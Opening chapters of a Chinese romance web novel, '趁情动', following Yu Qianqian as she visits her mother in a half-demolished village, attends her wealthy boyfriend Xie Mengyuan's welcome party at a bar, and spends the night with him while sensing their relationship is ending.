《趁情动》
1. 第 1 章
供桌上黑白照中的男人有张长方脸,齐耳乌发,厚嘴唇。
眼褶子压下来,盖住半颗黑眼珠,嘴唇抿成一条直线,嘴角往下坠。
模样说不上是讨好还是木讷,总之低眉顺眼的,看起来很是老实。
刘芳拜了两拜,举着香,闭上眼念念有词:“保佑我跟你女儿顺风顺水,无病无灾,阿弥陀佛,菩萨保佑。”
身后的庾倩倩把双手交叠在方桌上,下巴垫上去:“这是我爸的灵位,他是鬼,你一会儿阿弥陀佛一会儿观音菩萨,有用么?”
“你懂什么?拜了总比不拜好,”刘倩回头剜她一眼,把三根烟插进香炉里,语气埋怨地转身,“三年了,一次都没回来过,天可怜见,完全是个没良心的。生个女儿跟没生一样。”
“我这不是回来了吗?”庾倩倩朝门口努努嘴,“喏,还给你带了不少礼物呢。”
“那我看看。”刘倩拎礼物放到桌面上喜滋滋地翻看,“哦哟,金镯子……”
外面雨下得密,织成一道雾蒙蒙的帘子,悬挂在客厅门口。
庾倩倩往外看。
对门墙上刷的暗红拆迁标语被雨水冲刷得斑斑驳驳,窗户黑洞洞的,碎石洒落一地。。
庾倩倩撑起下颌,记得小时候放学回来,这条路上一排一排都是人。
老太太们搬小板凳坐在门口择菜,老头们围在树下下棋,小孩追着狗满街跑。
现如今这里荒凉,半天见不到一个人影。
八年前庾家村拆迁,刘芳离婚,户口不在,庾倩倩户口倒是在这,按照指标能分半套房子。
可她“前任爸爸”出来闹事,说她不是他亲生女儿,分房子占的是他的户口,哪有这个道理。
要么给他十万块钱补偿,要么就别想分房子。。
刘芳也是会闹的,可闹不过他,加上他们家确实在村里又有点关系,总之,这拆迁跟她们一点关系都没有,连点拆迁补偿都没有。
如今,几个村里面全拆迁到一块儿,那边又临着新建的工厂,人流量大,摆摊开店的都赚了不少钱,人全往那去了。
这里剩下的,要么是跟村里没谈好,要么就是钉子户,不愿意搬过去,总之就剩了她们家和谢家。
也许是有感应似的,雨帘里倏然从门框举一把黑伞。
庾倩倩微微定睛。
程嘉良从雨中走过。
几年不见,他看起来有一米八了吧?
理着利落干净的短发,纯黑,一点也没有时下男生流行的卷毛或者挑染。
衬衫雪白,搭配深灰西裤——衬衫不是崭新米白,而是洗得发旧却干净的那种淡白,真有一股温和妥帖之气,以至于衬衫跟雨雾融为一体,雾倒像是从他身上散发出来的。。
他的背向来挺得很直,走路不疾不徐。雨水顺着黑伞八角伞骨往下淌,在他皮鞋边溅起细密的水花。
刘芳戴上金手镯,正喜不自胜,听庾倩倩许久没说话,顺着她的视线望过去。
“哦呦,是嘉良啊。”她说道,习惯性地又开始絮絮叨叨,“你张阿姨生的两个孩子真是厉害!这村里没比她脸上更有光的了。”
“哦。”庾倩倩淡淡应了一句。
程嘉良从她的眼神里走过,也许是雨太大了,他没注意到她。
“人家重点大学呢。学习好又能吃苦,从小就照顾妈妈又是带妹妹的。他妹妹现在成绩都很好,听他妈妈说,程嘉良一进学校就得了什么国际奖学金,拿国家补助的,还有什么校优秀学生,可厉害了!!”
“是吗。”庾倩倩手撑在下耳处,窝在头发里,低低地道。
雨雾重新挂回她家的门口,只剩淅淅沥沥的雨声。
“你呢?回来找工作吗?”刘芳将金链子戴在手上问。
“看情况吧。”庾倩倩百无聊赖地回答,伸手一下下捋着身后的头发。
“哎呦,现在工作多难找呀,要是找不到工作就考公务员吧。”
“那也得能考上啊。”庾倩倩回答。
“女儿,加把劲,你都国外名牌大学回来的,还怕考不上吗?”刘芳斜着眼看她,自信满满,眉飞色舞,“当官就有钱!当官就有面子,你要是公务员村里都不敢这么欺负我们!我都能在村里横着走。”
庾倩倩没接她的腔。
手机震了一下。
她从桌面上拿起来划开。
谢孟渊:我去接你?
还没等庾倩倩回复,刘芳就凑过来飞快瞄了眼,只瞄到后面两个字,“他姓孟呀?”
“不是。”
庾倩倩拿起手机不让她偷看。
谢孟渊无论是说话还是打字,都很简单。
通常不会征询“要不要我去接你”“我去接你怎么样”之类。
问号只是象征一下,如果真的要来,这个问号会是句号。
所以庾倩倩回复:不用,离得太远了,开过来很麻烦,我自己开车过去。
谢孟渊:嗯。注意安全。
刘芳挪了两瓣屁股,头歪过来:“这就是你那个有钱的男朋友啊?下次带回来让妈见见!”
庾倩倩侧了侧身子,按熄屏幕,敷衍道:“有机会再说吧。”
“跟妈有什么好藏着的。我给你过过眼!”
庾倩倩并不想搭理她,抬起头。墙面斜上角挂着古早的粉挂钟。
下午四点半。
她站起身,拎起包:“我要走了。”
刘芳抬头一愣:“你就走?不吃饭哪?我都买了菜了。”
“不用了。”庾倩倩不太想留下来。
可因为她站起身,此刻就是居高临下看着刘芳。
刘芳抬头仰视她,神情还有些落寞。
现在的年轻人抽条都很快。庾倩倩今年才21岁,也已经比刘芳高半个头了。
她眉毛是新纹的,又深又重,眼皮上抹了点棕色的眼影,口红也有些晕开,身上穿的戴的都不算差,可就有种奇怪的庸俗感。
也许这话不应该让她这个女儿来说。刘芳今年已经45岁,论年龄不算大,娱乐圈好多女明星这会还能演偶像剧女主角。
可刘芳生活的圈子很狭窄,每次跟她说话要么就是传播别人家的八卦,要么颠来倒去让她带男朋友回家或者考公务员。
聊来聊去,母女间就没什么话题了。
“那你到哪吃饭呀?”刘芳站起来问。
“今天有朋友给我们办接风宴。。”
庾倩倩说的是我们,刘芳顿时明白我们这两个字的含义,自然是她跟她的那个有钱男朋友。
“他带你见他朋友了?”
庾倩倩依然接腔,走向门口:“我走了。”
“嘿,算命的都说,我就是享我女儿的福。”刘芳跟着过去,一脸骄傲,“我女儿大富大贵着呢,以后肯定会嫁进有钱的好人家。”
庾倩倩心中无声叹了口气。
刘芳送庾倩倩走到门口,这才想起:“哦,对了,伞。”
说完,她走到楼梯下方。
她们家是个老旧的两层平房,楼梯是水泥砌的,底下一大片空间都用来放一些不用的杂物。
刘芳是个外向型人格,在家里待不住,也不喜欢收拾整理房子,东西都乱堆,只能算是维持起码干净。
不像隔壁程嘉良的妈妈一样,家里比她们还小还破,屋内东西都收拾得整整齐齐。
以前跑到她家,看到她坐在床边一下一下叠床单被褥,手法娴熟利落。所有的被褥、被套、床单,叠成整齐的方块,叠在一本,程嘉良的妈妈说话也温声细语,脸上虚弱,却也总带着笑。
初一上学那年,她跟程嘉良一块去学校,她走在他身后,一眼认出程嘉良的书包是旧的,而且还很眼熟。
她偷偷仔细观察,终于认出来,这似乎是前面的人家小孩因包带断了扔掉的。
程嘉良的妈妈会捡村里面的垃圾。
庾倩倩看到书包的背部和包带连接处用细密的黑线仔细地缝好了。
厚实,也看不太出来。
很多小孩会嘲笑贫穷,可庾倩倩觉得程嘉良妈妈很厉害。
程嘉良也很厉害,因为他从未跟她似的,藏着难以说出口的羞耻感和自尊心,他永远大大方方地承认自己家里的情况。
程嘉良就坐在她前桌。
他也遗传了他妈妈,书桌里所有的书都会分门别类地叠好,手写的重点复习资料颜色字体大小都有区分,清清楚楚,借一晚上五块钱,周末还会付费补习。很小就懂得帮妈妈分担压力了。
可能是家里太杂乱了,刘芳翻了半天也没翻出来。
“就一点路不用了。”庾倩倩说。
找了两三分钟,刘芳终于抽身出来,拿了把蓝色的,塑料伞面上印着一朵褪色的粉色小花,转过身递给庾倩倩。
庾倩倩接过去,伞柄上贴的姓名贴纸还在,字迹早就模糊成一团灰色,隐约看得见“青”字。
这是她高中用的,居然也没丢。
庾倩倩看到她妈妈因为帮她找伞,脸上有些凌乱。
“你晚饭怎么解决?”
“待会人我去打麻将,到谁家都能吃,现在天天跟村里那帮人玩,可多花样了,又是旅游又是跳广场舞。明天还要去镇上唱歌呢,KTV,团购的,十九块九两个小时,还送一壶茶。”刘芳好像在炫耀自己人缘似的。
庾倩倩嘴角中午弯了一下:“行,我先走了,过几天再来看你。”
“好。”
停了下,她转过身,伸手抱她:“照顾好自己,有事给我打电话。”
刘芳也拍拍她的胳膊:“你要注意身体,身体是革命的本钱。”
庾倩倩笑了笑,撑开那把蓝色格子的旧伞,走进雨里。
村口停着一辆黑色的特斯拉,与这破旧荒废的村落格格不入。
庾倩倩握住门把手,回头。
雨丝斜织,刘芳撑了把伞,正锁门离开。
估摸着是真要去打麻将了。
这几年家里宽裕了些,她受够了从前人憎鬼厌的日子,充起大方来,跟村里人打麻将都是她包场地,赢了钱就发红包请吃饭。
村里有人见风使舵,天天捧着她,一口姐姐妹妹的叫,还带她去蒸桑拿、旅游、唱歌。
也好,人都活了大半辈子,充些场面怎么了?
不像别的母亲那样舍不得吃舍不得穿,一分钱也舍不得花,天天眼巴巴等着女儿回来看她。
反倒让庾倩倩觉得安心。
庾倩倩拉开车门,收伞,弯腰坐进去。
湿冷的空气被隔绝在外,车内安静下来,只剩下雨点砸在车顶的闷响。
“导航去月浓酒吧。”
车载屏幕亮起来,蓝色的路线图铺展开,机械女音播报:“现在为您导航去月浓酒吧,预计行程一个半小时……”
车沿着村道往外开,轮胎碾过积水,溅起一片暗色的水花。
路过村里面没来得及拆迁的废弃房子,路过村口公交站牌。
站牌上的铁皮锈了一大片,线路图被刮得面目全非,只剩下几个站名还勉强能辨认。
从前就是在这儿等车的——早上六点半,天还没亮透,从家里走十五分钟泥路到公交站,下了车还要再走十分钟。
无论春夏秋冬。
她时常站在公交站牌底下,看别人有车接送。
方向盘在掌心下微微震动,雨刮器有节奏地左右摆动,把挡风玻璃上的水刮干净,又立刻被新的雨水覆盖。
挡风玻璃外,村庄像褪色的照片一样消失不见。
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一切真是过得很快。
特斯拉停在月浓酒吧门口。
这里没有下雨,只有路面的一点水坑,霓虹灯牌洇开一圈紫色的光晕,门缝里漏出低沉的鼓点。
庾倩倩推门走进去。
舞池中间紫色和蓝色的光束交替扫射,烟雾机吞吐着白色的干冰,地板在脚底发颤。
吧台边坐满了人,年轻的男男女女在舞池中间举起双手,身体随着节拍扭动。
谢孟媛他们应该在二楼雅座。
庾倩倩扶着楼梯扶手,楼梯窄,有个端着托盘的服务员着急往下走,差点撞到她。
她侧了侧身子让开。
“不好意思。”年轻男生道歉。
“没关系。”庾倩倩好脾气地说。
走上二楼,目光在卡座里扫了一圈。
谢孟渊他们在东南角。
角落里光线更暗,只有一盏低垂的暖色壁灯。
他坐在主位,身侧有三四个男生,依稀是他高中同学的模样。
几年不见,这些人都变了不少,脸颊浮肿,眼下青黑,神色里带着常年熬夜纵欲留下的虚浮。
每个男生中间都隔了几个女生,吊带抹胸裙,锁骨上散落着细闪的亮片,或是挑染的头发,耳垂上坠着夸张的耳环,在暗光里一明一灭。
王坦手里捏着啤酒杯,正跟谢孟渊说着话。察觉到谢孟渊视线往前一顿,跟着望过去,微微愣了下。
庾倩倩朝他们走过来。
他直勾勾从头到脚打量了好几秒。
“哇。”他过了好几秒才找回声音,“是倩倩吧?三年不见,怎么现在长得跟个女明星似的了。”
那目光黏在她身上,仿佛习惯似的评估似的,不住地从脸滑到腰,又从腰滑到脚踝。
“怎么?才三年不见你就不认得我啦?”庾倩倩开着玩笑,她见到谢孟渊身侧有个空位。
有个女生靠近他坐,腿贴着他的腿,庾倩倩自然地走过去,朝那女生说:“让让。”
女生抬头看了他一眼,不太甘心地挪开了点位置。
庾倩倩在他们中间坐下来。
谢孟渊抬头扫了他一眼,没吭声,只不过抵起酒杯的唇角抿了一点笑。
王坦脑袋跟着她转,一双眼睛黏在她身上似的,上下左右来回扫:“啧啧,才几年啊,出趟国怎么人还更水灵了?怎么,难道还是?国外的水土养人啊?”
不怪他夸张。
他见过很多网红和小明星——明星都是镜头里好看,实际上一见真人,粉底比墙腻子还厚,五官全是各种高光阴影画出来的。
庾倩倩没有化浓妆,是一张标准的鹅蛋脸,下巴尖而不锐。桃花眼的形状生得极好——对称的斜四边形,眼尾微微上扬,双眼皮的褶皱由窄到宽,如同斜放着的折扇,均匀地铺开,勾人极了。
鼻梁高挺,鼻头圆润。五官在脸上分布得恰到好处,不挤不空,不是邻家女孩也不是高贵冷艳,就是纯粹的美貌。
那头乌黑的头发柔软地垂在肩侧,浓密,蓬松,带着点隐隐的香味,如云似雾。
庾倩倩声音软,但不糯,带点儿拉长的韵味:“国外没什么好吃的,所以反而健康起来。”
“哈哈。”王坦跟着笑,目光在她胸前多落了半秒——可惜就是胸不大——他正这样想着,庾倩倩身侧的位置,一道视线利落地投递了过来。
王坦连忙收回了视线,假装刚刚只是不经意,转过头去跟身侧的女伴碰了碰杯:“来,宝贝,喝一口。”
谢孟渊收回视线。
“来晚了,是要罚的。”王坦嘿嘿一笑,倒了杯酒,推到庾倩倩面前面前,“刚刚刘大智晚了我们也是这么罚的。他都喝了十杯呢。就算你是我妹妹,也不能坏了规矩呀。不过咱们就四舍五入算你3分钟好不好?你就喝三杯就好了,别说哥哥没照顾你。一口气喝光哦。”
“是啊是啊。”
“刚刚我就晚到了半分钟,他都算我一杯呢。”
“反正今天王少请客,我们敞开了吃,敞开了喝。”
“这酒又不醉人,多喝一点也没事!”
灯红酒绿中,男男女女都在起哄,有人敲着桌沿打节拍,有人吹了声口哨。
谢孟渊身边都是富二代。
富二代男生一不留神就会成为花花公子——毕竟身边无数狐朋狗友教导,很快就会学会花天酒地那一套。
王坦一张虚浮的脸,手落在女伴的腰上,来回捏着。
桌面上是香槟塔,层层叠叠,气泡沿着杯壁往上蹿,碎了又生,生了又碎,显然是个玩惯了的场面。
这围坐的女生也嬉笑恐闹,很是适应。
庾倩倩端起酒杯,晃了晃。
众人见她不推拒,纷纷喝彩。
“哎呦,妹妹大气!”
“是个会玩的!国外没少玩吧?”
“你看看你,还没有倩倩懂事!”
“不愧是谢哥的女朋友,就是不一样。”
庾倩倩转过身,肩膀非常轻微地一下,又一下,连着碰了两下谢孟渊的肩膀。
等到谢孟渊转头。
庾倩倩举起酒杯,发丝从肩上滑落,红唇微张,粉软的舌尖在口腔里跳动,无声地做嘴型:“帮我。”
“撒娇!”王坦一锤定音。
“哎呦呦,像什么样子?刚来就撒娇啊?不是作弊吗?”
“不带这样的啊,刚来就跟我们谢哥撒娇呢,想让谢哥给你喝酒呢?”
“还没到床上就开始撒起娇来了。”
谢孟渊笑了一下,接过酒杯,一饮而尽。
众人纷纷鼓掌喝彩:“好!”
庾倩倩微笑看着他,长白的手指款款伸过去,亲昵地将他松开两颗扣子的衬衫领整齐地压好,温柔缱绻。
2. 第 2 章
“怎么谢哥一上来就中了美人计?”
迷醉闪烁的灯光中,王坦揶揄着,倒也不忘将剩下的两杯香槟推过去。
谢孟渊一一端起,仰头喝了。
最后一个空杯子由他那双骨节分明的手往下捏着,虚虚拎在手里。
杯底在暗色地毯上投下一小片五彩的光斑。
“别让她喝了。”谢孟渊将空杯搁回桌面,“她待会儿要开车送我回去。”
王坦笑起来:“代驾哪不能找啊,我现在就能给你叫七个八个来?”
他嘴上这么说,心里却门儿清——谢孟渊的意思是别给庾倩倩灌酒。
毕竟今晚是专门给谢孟渊回国接风洗尘的,主角都发话了,也不好太过。
“行吧行吧,那接下来我们玩行酒令。”王坦显然深谙酒局之道,抬手招来服务员,让人再把香槟塔摆上。
他转过头,跟周边的人猜拳玩了起来。男男女女围成一圈,手势翻飞,喊声此起彼伏。
这酒都是灌周围女生的,输了就要喝,玩得很开。有女生娇嗔着推搡,男生笑嘻嘻地灌,酒液顺着下巴淌进领口,惹出一阵尖叫和哄笑。
庾倩倩端了杯冰水,靠坐在沙发上,慢慢地抿着。
冰块在杯中轻轻碰撞,她含笑看着眼前的热闹,偶尔跟着起哄两句,像是乐在其中。
她偏头朝向谢孟渊,凑近了些。
“我去上个厕所。”
庾倩倩站起身,从沙发和茶几之间的窄缝里侧身挤出去。
直到目送她娉婷地起身走远,身影消失在楼梯口的转角,王坦才收回视线,凑近谢孟渊,压低了声音:“谢哥,你跟庾倩倩是高中就开始谈了吧?”
“嗯。”谢孟渊淡淡应了一声。
他手中举着剩半杯的金橙色香槟,手指环着杯柱,拇指在杯壁上摩挲了一下。
已经喝了七八杯了,他酒量向来很好,一点醉意都没有,眼神清明得像刚从会议室走出来。
“真是长情啊。”王坦感叹,“这都……六七年了吧?我都换了七八个女朋友了,你倒好,还没换呢。”
他说这话时语气轻飘飘的,手搭在身边女伴的肩上,拇指画着圈,那女生的吊带不知什么时候滑下去半根,露出圆润的肩头,他凑过去咬了一口。
谢孟渊笑了一下:“我在国外的功课还有生活上的事,都是她打理的。”
“唔。”王坦立刻接话,“漂亮又能办事,怪不得谢哥专程带她一块出国留学呢,可比我身边这些小婊子好多了。”
谢孟渊对他这个作派轻微不悦,没表现出来。
王坦高中毕业后,上了个野鸡大学,短短三年他们之间的生活圈子和观念就产生了很大的不同。
只不过他们都在一个城市,家里生意来往,更有同校的情谊。
身边有个女生喝多了,软软地朝他趴过来,脑袋往他肩上靠。
王坦恶作剧一般,往她胸口里倒酒。
那女生哼了一声,身体晃了晃,拍了拍他:“讨厌,新买的衣服!”
“给你买!”王坦浑然不在意地回答,转回头继续跟谢孟渊说话,“那你这次回来,是要回家里的公司上班?”
谢孟渊点点头,杯中的酒液随着动作轻轻一晃。
“你爸真好,还想着培养你。”王坦叹了口气,语气里多了一丝真切的羡慕和抱怨,“我爸呀,不让我参与公司的一点事,说我还不够格,当个二世祖就行。”
“能轻轻松松地过日子,不也挺好?”谢孟渊含笑。
“也是。”王坦咧了咧嘴,“对了,你爸是要撮合你跟那个何凡月相亲吧?”
王坦自顾自地往下说:“她之前可跟我另一个朋友万宇谈过呢,还跟现在一个流量小生在谈——别提多娇气了,吃个饭挑三拣四的,上次我们去日料,她说那家三文鱼不够新鲜,当场就让人换了一家。”
他边说边摇头,但语气里又带着某种微妙的羡慕,毕竟何凡月家里的股票那真是涨了又涨,踩中风口喽。
“不过她是个颜控。”王坦打量打量谢孟渊,目光从他的眉眼滑到下颌,又落到他握着酒杯的手上,“你要是追她,估计不会拒绝。你这张脸,往那儿一坐,什么都不用说就能成。”
谢孟渊没有接话,只是将酒杯送到唇边,抿了一口。
洗手间里,眼前的镜子很大,从台面一直延伸到天花板,嵌在一圈暖黄色的灯带里。
顶灯将她的脸照得毫无阴影,每一寸皮肤都暴露在光下——白皙,细腻,没有一丝瑕疵。
庾倩倩一边打量自己,一边洗手。
慢慢地搓着手,指缝,手背,掌心,纯粹地浪费时间。
门口前后脚进来两个女生。
第一个女生黑长直,头发斜斜地拨到了肩膀的一侧,露出一截雪白的颈侧。
抹胸黑色小短裙裹着她纤瘦的身体,锁骨、肩胛、后背都大片的裸露着,皮肤在灯光下白得发冷。
她脚踩一双细跟高跟鞋,鞋跟至少有十厘米,走路时发出哒哒哒声响。
她走到洗手台前,对着镜子左右转了转脸,检查了一下眼线有没有晕开,然后打开水龙头,只是湿了湿指尖,便关了。
第二个女生穿红裙,颜色很正,像熟透的番茄。她比黑衣女生矮半头,身材更丰满些,裙子的领口开得很低,露出一道深深的阴影。
她弯腰凑近镜子,拧开口红,仔仔细细地沿着唇线描了一遍,嘴唇本来就是饱满的,这一描更显得丰润欲滴。
黑衣女生洗完了手,甩了甩指尖的水珠,转身问:“待会你跟谁出去?”
“看待会儿谁最大方呗。”红裙女生对着镜子抿了抿嘴唇,上下唇一压,多余的唇色均匀地晕开,“你是跟刘少?”
黑衣女生笑了,笑声很轻:“是啊,待会可别又在一家酒店撞到了。最怕他们玩那个什么乱七八糟的游戏,成天里想一些花招。”
红裙女生也笑了,把口红旋回去,塞进手拿包里:“我们这种人,人家说什么我们做什么呗。”
她们只短短说了几句话,根本不在意其他人听到。
补完妆便转身出去了,高跟鞋的声音嗒嗒嗒地远去,被外面的音乐吞没。
庾倩倩将手伸到附近的吹风机下,温热的空气涌出来,扑在她的手背上。
风很暖,带着轻微的嗡嗡声。
她低着头,看着热风把水珠一点一点吹干,皮肤从湿润变得干燥。
她的神情淡漠,眉眼是安静的,嘴角没有上扬也没有下垂,像一面没有波澜的湖。
空气里还残留着那两个女生留下的香水味,一种甜腻的花香,混着酒精和口红的气息。
庾倩倩拉开门,走了出去。
抬头。
二楼的雅座就在前方不远处,半人高的玻璃围栏后面,谢孟渊和王坦正举着酒杯说说笑笑。
王坦的手臂搭在沙发靠背上,整个人斜倚着,松弛得像没长骨头。
谢孟渊坐得端正些,但也算不上板正,只是脊背没有完全贴靠沙发,手里握着酒杯,偶尔低头听王坦说什么,偶尔抬眼看向舞池。
庾倩倩站在那里,没有立刻走上去。
她陪伴他出入各种地方,但她知道,他们并不是一个世界的人。
谢孟渊比庾倩倩大一岁,他们是同届,所以才能一起去英国留学,说起来,也是她蹭了他的条件。
他今天穿着银丝的条纹白衬衫,没有系领带,领口微敞,露出一截锁骨。
袖口随意地卷到小臂,手腕上戴着一块低调的表,表盘是深蓝色的,在灯光下偶尔闪一下。
发丝短而粗硬,灯光从头顶洒下来,在他的发顶镀了一层暗金色的光圈,流光溢彩,好像一个高高在上的王者,跟今日见到的雨中程嘉良截然不同。
同时利落的乌黑短发,程嘉良的头发便看起来很软很细。
两个人都有一米八几的个子,比例匀称。
谢孟渊的身形显得比程嘉良要更宽阔一些,肩膀更宽,骨架更大,肌肉的线条隔着衬衫也能看出一二。
五官英俊,却是不同的风格——谢孟渊硬气沉稳,眉眼间带着习惯的自信和桀骜;程嘉良则温润舒朗,安静平和。
这个酒吧,就不是程嘉良会出现的地方,当然也是因为,他也没有钱来。
庾倩倩没有去二楼,而是直接走进了舞池。
干冰的白雾还在吞吐,漫过脚踝,凉丝丝的。紫色和蓝色的光束交错扫射,照在雾气上。
DJ换了一首歌,是首轻柔舒缓的女音,旋律绵软,好久没有回国,从没听过这首歌。
很好听。
人群安静下来,从刚才摇滚的剧烈蹦跳中缓过劲来。有人靠在吧台上喝水,有人搂着舞伴的腰慢慢晃,有人低头看手机,屏幕的光映在脸上,蓝莹莹的。
庾倩倩走进舞池,让音乐和光影包裹住自己。
直到过了半个多小时,她才回去。
“去哪了,怎么这么久?”谢孟渊问。
“蹦迪呢。”庾倩倩快乐地回答,坐下时她仔细端详了他的脸,低声凑到他耳边,“别喝那么多。”
谢孟渊微微偏头,眼睛里没有任何醉意,反而带着一丝玩味:“刚刚不是你让我帮你挡酒?”
“可以挡酒。”庾倩倩叮嘱,“但不能喝多。”
谢孟渊看着她,嘴角慢慢勾起来:“歪理。”
语气介于调侃和纵容之间,是恰到好处的受用。
庾倩倩拿出手机看了一眼,屏幕上的数字跳到了22:03。
“你是要回去还是要再玩会儿?”她把手机扣回腿上,侧头问他。
“你想回去?”
“嗯,时差还没倒过来。想回去睡觉了。你要还想玩我可以先走。”
谢孟渊牵起她的手,在她掌指中间的骨节处捏了捏:“行,我们回去。”
“王坦,我得回去了。”谢孟渊从不墨迹。
“啊?”王坦的失望之情溢于言表,他正猜拳猜得兴起,袖子都撸了上去,露出半截花臂,“这就走了?还没到第二场呢,不再玩会儿?还有好几个朋友要来呢,准备给你介绍。”
“明天要去公司上班。”谢孟渊语气平淡,“不好迟到。下回吧。”
“这倒是。行吧。既然你有正事,那我就不留你了。”
“下次我请你。”谢孟渊客气。
“嗨,咱两兄弟谁跟谁?谁请都一样。”王坦笑了,露出一口整齐的白牙,“倩倩也走?你可以留下来玩啊!”
“不了,我得开车呢。”庾倩倩眉眼弯弯地笑,从沙发上拿起自己的包,勾在手腕上,跟在谢孟渊身后。
两人一前一后走出酒吧。
推开门的一瞬,夜风迎面扑来。
风不大,带着雨后特有的湿润和凉意,将酒吧里黏腻的热气和酒气一并吹散。
“开你的车。”这句话是肯定句,庾倩倩从谢孟渊手里按了车钥匙,车灯闪了两下。
庾倩倩上前打开后车门,一手扶着车门,一手示意他进去:“你喝了酒,坐后车座,休息会儿。”
她贴心地将车窗要到半开,靠枕放在座位上。
谢孟渊抵在她的后腰,熟稔地滑过,随后弯腰进去,靠着座椅,闭上眼。
庾倩倩关上门,绕到驾驶座,拉开门坐进去。
“要不要喝点水?”
“不用。”
庾倩倩没有再说话,系上安全带,挂挡,车子平稳地滑出车位。
夜里的城市车流稀疏了许多,路灯一盏接一盏地从车窗外滑过,橘黄色的光在车内投下流动的光影。
谢孟渊在后座始终闭着眼休息。
公寓是回国之前谢孟
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渊早就让人准备好的。
位于城东的高层住宅,一梯一户,私密性极好。
玄关处铺着深灰色的地毯,鞋柜上放着一束白色的栀子花,是他喜欢的味道。
门推开,玄关的感应灯亮起来,暖黄色的光洒在两个人身上。
公寓崭新敞亮,每一样东西都是全新的。
厨房的台面上干干净净,冰箱里塞满了提前备好的食材和饮品,客厅的茶几上摆着一盘水果和一瓶没拆封的威士忌,空调在最舒适的27度,湿度50%,财富总是令人轻易地适应任何环境。
行李箱还放在客厅中间,一大一小,挨在一起。他们中午落地,各自处理了一点事,还没来得及收拾。
谢孟渊换了拖鞋,走到沙发前坐下。
他微微后仰,靠在沙发背上,闭了闭眼,捏鼻梁。”
庾倩倩将两个人的鞋从鞋柜里摆好,又将行李箱推到墙边,腾出客厅的过道。
“你先洗澡吧,我要洗很久的。”说着,她走进卧室,打开衣柜。
衣服早就提前寄了过来,谢家的保姆提前来收拾过。
整个衣柜全是谢孟渊的衣服,颜色以黑、白、灰为主,偶尔有几件深蓝和墨绿。
庾倩倩拿出浴袍,叠好搭在手臂上,又拿了一条干净的浴巾。
她走进浴室,将浴巾搭在架子上,浴袍挂在门后的挂钩上,水温调好,不冷不热,刚好是他习惯的温度。
“都准备好了。”她走出来。
谢孟渊起身,走进浴室。
不到半个小时,他出来了。
头发半干,有几缕垂在额前,比平时多了几分随意和慵懒。浴袍松松地系着,领口大敞,露出锁骨和胸口的皮肤,还带着沐浴后的热气。
庾倩倩在客厅里,把箱子打开,将明天要用东西挑出来,其他的暂时归拢到一边,合上箱子推到墙角。
稍后她拿了自己的衣服,走进浴室。
浴室里还残留着水汽和沐浴露的味道——是他用的那款,木质调的,前调是佛手柑,后调是雪松和麝香。
拧开水龙头,浴缸的水哗哗地流出来,热气蒸腾而上,很快弥漫了整个空间。
脱了衣服,试了试水温,慢慢躺进浴缸里。
热水漫过她的身体,从脚踝到小腿,从小腹到胸口,最后只露出锁骨以上的部分。
她长长地呼出一口气,感觉紧绷了一整天的身体终于松弛下来。
不知过了多久。
浴室门被敲响了,稍后被推开,谢孟渊探进半个身体。
“你化冰淇淋呢?洗这么久?”
庾倩倩坐在浴缸中,热水漫到锁骨,水面浮着一层细密的气泡,确实像枚冰淇淋。
她没有遮掩,也没有躲闪,只是微微侧了一下头,湿发贴着脖颈,轻言巧笑:“快了。”
水珠从她的发梢滴落,在肩窝里聚成一小汪。
谢孟渊眸色微深,走上前一只手从她的膝弯下穿过,另一只手臂揽住她的后背,将她打横从浴缸里抱起。
“我还没擦干呢。”庾倩倩下意识地勾住他的脖子,身体悬空。
她偏头看向门口,伸出手臂,够到门边挂着的浴巾,扯了下来。
谢孟渊把她放在床上,说:“我帮你擦。”
谢孟渊压了上来。
身体很沉,带着沐浴后的温热气息。
他解开浴袍带子,胸口贴着她的皮肤,心跳隔着薄薄的胸腔。手从她的小腿一点点捋上去,指腹带着薄茧,摩挲过她的皮肤,带起温热。
窗外开始下雨。
不是那种铺天盖地的暴雨,而是细细密密、连绵不断地春雨。
雨声越来越大,越来越密。
玻璃上结了一层雾气,水珠顺着窗面滑下去,留下一道道蜿蜒的痕迹。
他们在一起这么多年,很是和谐。
谢孟渊让她转身就转身,坐起来就坐起来,他年轻又健身,精力充沛,就算今天显而易见有些累了,还是能坚持许久。
卧室的门没有关,走廊的光线斜着切进来,在深色的木地板上拉出一道亮痕。
一个多小时后,庾倩倩缓缓转过头。
谢孟渊光裸着结实的背,被褥盖在腰部,一条胳膊搭在她胸口,趴在床上睡着了。
庾倩倩无声挪开他的胳膊,起身。
身体还有些发软,脚踩在地板上没什么力气,床边的地毯上扔着两个保险套,她抽出纸巾隔着捡起来,扔进垃圾桶里。
他的浴袍扔在地上,她捡起来走进浴室。同她换下来的衣服,一块儿放进洗衣机里。
再在浴室里重新擦干身体,系上睡衣的腰带,这才走出浴室。
快十二点了。
客厅的灯还亮着,暖黄色的光照在每一件崭新的家具上。
她从吧台拿出一瓶鸡尾酒,再从冰箱里拿出一个冰杯,缓缓将酒液倒入杯中。
夜阑人静,她长长吐出一口气,端着酒杯走到窗台。
落地窗很高,从地面一直延伸到天花板,像一面巨大的黑色镜面。
楼下是黑漆漆的一片,隐约能看见一点雨雾。
下雨了。
这会儿才下,一个城市的雨都分布不均。
庾倩倩静静看向远处,楼底下只有黑漆漆的一片,以及雨雾中的几点霓虹光斑。
高层住宅安静,家具也好,竟是一点空调换气声都听不到。
许久,她朝着玻璃窗呵出一口热气。
白雾在冰凉的玻璃上凝成一小片模糊的水汽。她伸出手指,在那片水汽上画了一个心形,随后再用食指在中间划了一痕,将它切开。
酒液从杯壁滑进口中,顺着喉咙滑下去,清冽地熨贴她的肺腑。
她知道谢孟渊为什么回国。
他们的关系,终于……要结束了。
3. 第 3 章
清晨七点,谢孟渊系着衬衫袖口,从盥洗室出来。
长椭圆形的大理石饭桌上摆好早餐。
骨瓷盘里是一份三明治,横切面整齐地露出里面的配料——煎得焦香的牛排,溏心蛋黄微微流动,生菜翠绿地铺在底层。
庾倩倩站在微型制冰机面前,抽出一小桶冰块倒入她泡好的葡萄美式中。
侧面的窗户半开着,暖白色的纱帘被风吹起一角,涌进城市清晨特有的冷冽。
“因为你说今天要回家里吃饭,所以没有准备你的早餐哦。”庾倩倩转过身,端葡萄冰美式放在骨瓷盘旁。
稍后,她抬眸看了一眼谢孟渊,转身走回衣帽间,再出来时手里多了条领带。
“今天推荐配这条去上班。”她像是个展示台的柜姐,兴致勃勃地推荐,“亚光蓝黑,低调庄重。”
谢孟渊从善如流:“行。”
他穿了件白色的正装衬衫,领口挺括,第一颗扣子还没系。庾倩倩走到他面前,将扣子系上,再用领带绕过他的后颈,左右两端垂下来,一长一短。
